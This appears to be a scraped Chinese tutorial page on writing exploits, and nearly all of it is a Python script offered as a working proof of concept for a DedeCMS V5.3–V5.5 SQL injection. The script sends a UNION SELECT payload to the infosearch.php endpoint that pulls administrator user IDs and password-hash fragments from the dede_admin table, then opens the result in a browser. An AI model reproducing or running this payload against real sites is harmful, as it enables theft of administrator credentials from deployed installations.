Exp编写指南(实战篇) 您所在的位置:网站首页 0day原理 Exp编写指南(实战篇)

Exp编写指南(实战篇)

2023-03-29 14:00| 来源: 网络整理| 查看: 265

#! /usr/bin/env python # coding=utf-8

导入需要用到的类库

import sys,urllib,webbrowser

定义一个函数输出信息,可以用作提示信息或者欢迎界面啥的

def welcome(): print("description:\n\tdedecmsV5.3-V5.5 0day Poc\n\tIf the 0day exists, I will call your default browser to open the URL with the payload\n\tTerms of Use:\n\t\t*.py -u dedems root directory address\n\t\t*.py -u https://www.google.com\n")

再定义一个方法用来执行功能部分

def main(): try: if len(sys.argv) == 3 and sys.argv[1].lower() == '-u': host=sys.argv[-1] status_code=urllib.urlopen(host).getcode() if status_code == 200: host=sys.argv[-1]+"/plus/infosearch.php?action=search&q=%cf%27%20union%20select%201,2,concat(0xB9DCC0EDD4B1A3BA,userid),4,concat(0xC3DC5EC2EB,substring(pwd,9,16)),6%20from%20dede_admin%23" status_code=urllib.urlopen(host).getcode() if status_code == 200: webbrowser.open_new(host) else: print("The vulnerability does not exist") else: print("The target is not in the state!") except: print('Terms of Use:*.py -u https://www.google.com')

最后调用

if __name__ == '__main__': welcome() main()

完全OJBK,还有一个问题,某些404或者其他状态码自定义的 200可能会导致认为存在的页面调用浏览器打开,点到为止,差不多得了,咳咳

github传送门



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有